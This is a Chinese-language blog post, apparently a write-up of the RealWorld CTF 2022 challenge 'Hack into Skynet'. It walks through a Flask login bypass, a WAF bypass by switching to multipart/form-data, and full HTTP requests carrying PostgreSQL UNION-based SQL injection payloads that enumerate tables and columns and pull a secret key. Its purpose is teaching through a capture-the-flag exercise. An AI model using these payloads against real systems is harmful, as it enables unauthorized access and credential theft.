c1ay's blog

RealWorld2022-Hack into Skynet

字数统计: 873阅读时长: 4 min
2022/01/24 Share

RealWorld2022-Hack into Skynet

bypass登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
def query_login_attempt():
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if not username and not password:
return False
sql = ("SELECT id, account"
" FROM target_credentials"
" WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
user = sql_exec(sql)
name = user[0][1] if user and user[0] and user[0][1] else ''
return name == username

注意这里是and,所以当username为空password不为空时不会返回False,最终可以保证name == username返回True

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
username[]=&password=1

获取SessionId(当时传的是数组,其实按照代码的逻辑,username为空也可以,最终flask.request.form.get('username', '')接收到的都是空字符串

mark

需要登录权限的注入

这里没有用格式化字符串拼接SQL,而是用了format直接拼接SQL,导致SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
def query_kill_time():
name = flask.request.form.get('name', '')
if not name:
return None
sql = ("SELECT name, born"
" FROM target"
" WHERE age > 0"
" AND name = '{}'").format(name)
nb = sql_exec(sql)
if not nb:
return None
return '{}: {}'.format(*nb[0])

但是有waf,需要黑盒绕过这里的skynet_detect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/', methods=['GET', 'POST'])
def do_query():
if skynet_detect():
return flask.abort(403)
if not query_login_state():
response = flask.make_response('No login, redirecting', 302)
response.location = flask.escape('/login')
return response
if flask.request.method == 'GET':
return flask.send_from_directory('', 'index.html')
elif flask.request.method == 'POST':
kt = query_kill_time()
if kt:
result = kt
else:
result = ''
return flask.render_template('index.html', result=result)
else:
return flask.abort(400)

黑盒测试bypass waf
修改POST传输方式,将application/x-www-form-urlencoded改为multipart/form-data方式传输,可过
postgresql手注获取flag:

查表名:(也可以直接从information_schema.tables查询table_name获取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SessionId=2587ff27ad30ebbb69044cf6ac6f67f6; Path=/
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1047903036
Content-Length: 160
----------1047903036
Content-Disposition: form-data; name="name"
1' union select '1',tablename from pg_tables limit 1 offset 0-- -
----------1047903036--

查列名:(也可以直接从information_schema.columns查询column_name获取)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SessionId=2587ff27ad30ebbb69044cf6ac6f67f6; Path=/
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1047903036
Content-Length: 333
----------1047903036
Content-Disposition: form-data; name="name"
1' union select '1',attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='target_credentials' limit 1 offset 1-- -
----------1047903036--

mark

获取flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 47.242.21.212:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: SessionId=2587ff27ad30ebbb69044cf6ac6f67f6; Path=/
Origin: http://47.242.21.212:8081
Connection: close
Referer: http://47.242.21.212:8081/login
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1047903036
Content-Length: 170
----------1047903036
Content-Disposition: form-data; name="name"
1' union select '1',secret_key from target_credentials limit 1 offset 1-- -
----------1047903036--

mark

rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

CATALOG
  1. 1. RealWorld2022-Hack into Skynet
    1. 1.0.1. bypass登录逻辑
    2. 1.0.2. 需要登录权限的注入